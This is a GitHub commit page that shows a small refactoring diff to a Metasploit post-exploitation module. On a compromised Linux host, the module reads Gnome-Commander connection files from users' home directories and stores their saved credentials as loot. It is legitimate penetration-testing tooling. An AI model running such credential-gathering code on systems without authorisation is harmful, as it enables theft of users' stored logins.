Skip to content

Commit f444068

Browse files
committed
Update gnome_commander_creds.rb
1 parent 9dc37c3 commit f444068

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

modules/post/linux/gather/gnome_commander_creds.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -34,20 +34,21 @@ def run
3434
# Try to find connections file in users homes
3535
user_dirs.each do |dir|
3636
connections_file = "#{dir}/.gnome-commander/connections"
37-
unless file?(connections_file)
38-
# File not found
39-
print_error("File not found : #{connections_file}")
40-
else
37+
if file?(connections_file)
4138
begin
39+
str_file=read_file(connections_file)
4240
print_good("File found : #{connections_file}")
43-
print_line(read_file(connections_file))
44-
p = store_loot("connections", "text/plain", session, read_file(connections_file), connections_file, "Gnome-Commander connections")
41+
vprint_line(str_file)
42+
p = store_loot("connections", "text/plain", session, str_file, connections_file, "Gnome-Commander connections")
4543
print_good ("Connections file saved to #{p}")
4644
print_line()
4745
rescue EOFError
4846
# If there's nothing in the file, we hit EOFError
4947
print_error("Nothing read from file: #{connections_file}, file may be empty")
5048
end
49+
else
50+
# File not found
51+
print_error("File not found : #{connections_file}")
5152
end
5253
end
5354
end

0 commit comments

Comments
 (0)